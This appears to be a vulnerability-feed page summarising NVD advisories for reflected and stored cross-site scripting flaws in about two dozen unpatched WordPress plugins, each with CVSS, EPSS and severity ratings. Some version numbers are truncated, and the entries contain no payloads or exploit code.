Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in infosoftplugin Tax Report for WooCommerce allows Reflected XSS.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound ComparePress allows Reflected XSS.0.8. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Mobigate allows Reflected XSS.0.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Mancx AskMe Widget allows Reflected XSS.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Login Watchdog allows Stored XSS.0.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Cobwebo URL Plugin allows Reflected XSS.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound 4 author cheer up donate allows Reflected XSS.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound ChatGPT Open AI Images & Content for WooCommerce allows Reflected XSS.2.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Adrian Vaquez Contexto allows Reflected XSS.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound 新淘客WordPress插件 allows Reflected XSS.1.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in mobde3net ePermissions allows Reflected XSS.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Catch Duplicate Switcher allows Reflected XSS.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Canalplan allows Reflected XSS.31. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pinal.shah Send to a Friend Addon allows Reflected XSS.4.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Page Health-O-Meter allows Reflected XSS.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound all-in-one-box-login allows Reflected XSS.0.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound WP Post Category Notifications allows Reflected XSS.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CantonBolo Goo.gl Url Shorter allows Reflected XSS.gl Url Shorter: from n/a through 1.0.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Pin Locations on Map allows Reflected XSS.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound DZS Ajaxer Lite allows Stored XSS.04. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound WP Intro.JS allows Reflected XSS.JS: from n/a through 1.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound DX Sales CRM allows Reflected XSS.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
38987

Related CWEs

MITRE ATT&CK

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